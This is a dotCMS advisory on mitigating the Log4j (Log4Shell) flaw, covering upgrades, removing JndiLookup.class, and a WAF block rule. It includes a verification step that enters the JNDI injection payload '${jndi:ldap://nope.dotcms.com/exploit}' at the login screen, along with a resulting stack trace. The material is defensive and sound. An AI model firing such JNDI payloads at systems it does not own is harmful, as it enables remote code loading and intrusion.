There are a number of way to mitigate this vulnerability:
1. Upgrade dotCMS
Upgrade to one of the following dotCMS versions (all of which include the fix for this issue):
- 21.06.5 LTS (or later version of 21.06)
- 5.3.8.8 LTS (or later version of 5.3.8)
- 21.12
2. Remove the JndiLookup class from the log4j jar file
a. Find the path to the log4j jar file: Run the following command from the root of the dotCMS installation directory:
find $DOTCMS_ROOT -name "*log4j-core-*.jar"
b. Find the path to the JndiLookup.class file within the jar The path to the class varies in different dotCMS versions. Run the following command from the root of the dotCMS installation directory:
unzip -l ${log4j_jar_path} | grep JndiLookup.class | awk '{print $4}'
c. Remove the class file from the jar Run the following zip command, using the appropriate paths (from steps a. and b. above):
zip -q -d $PATH_TO_JAR $PATH_TO_CLASS
d. Restart dotCMS.
3. Block requests at the WAF If you use a WAF, you can block any request that contains the following pattern in headers, parameters and/or POST data: ${jndi: Most WAF providers (including AWS) have already instituted a rule to block such requests.
Verifying the Fix
You can test whether this behavior fixes the issue by going to the dotCMS back end login screen and trying to login with ${jndi:ldap://nope.dotcms.com/exploit} as the user name/email. If your system is patched, you should only see a normal login error in your logs/catalina.out file similar to the following:Invalid email throwing a UserEmailAddressException: ${jndi:ldap://nope.dotcms.com/exploit}
If your system is vulnerable, you will see an error in your logs/catalina.out similar to the following:
INFO: HV000001: Hibernate Validator 4.3.2.Final 2021-12-10 19:53:53,135 Log4j2-TF-1-AsyncLogger[AsyncContext@39ee94de]-1 WARN Error looking up JNDI resource [ldap://nope.dotcms.com/exploit]. javax.naming.CommunicationException: nope.dotcms.com:389 [Root exception is java.net.UnknownHostException: nope.dotcms.com] at java.naming/com.sun.jndi.ldap.Connection.<init>(Connection.java:252) at java.naming/com.sun.jndi.ldap.LdapClient.<init>(LdapClient.java:137) at java.naming/com.sun.jndi.ldap.LdapClient.getInstance(LdapClient.java:1616) at java.naming/com.sun.jndi.ldap.LdapCtx.connect(LdapCtx.java:2847) at java.naming/com.sun.jndi.ldap.LdapCtx.<init>(LdapCtx.java:348) at java.naming/com.sun.jndi.url.ldap.ldapURLContextFactory.getUsingURLIgnoreRootDN(ldapURLContextFactory.java:60) at java.naming/com.sun.jndi.url.ldap.ldapURLContext.getRootURLContext(ldapURLContext.java:61) at java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:204) at java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94) at java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409) at org.apache.logging.log4j.core.net.JndiManager.lookup(JndiManager.java:172) at org.apache.logging.log4j.core.lookup.JndiLookup.lookup(JndiLookup.java:56) at org.apache.logging.log4j.core.lookup.Interpolator.lookup(Interpolator.java:184) at org.apache.logging.log4j.core.lookup.StrSubstitutor.resolveVariable(StrSubstitutor.java:1054) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:976) at org.apache.logging.log4j.core.lookup.StrSubstitutor.substitute(StrSubstitutor.java:872)
|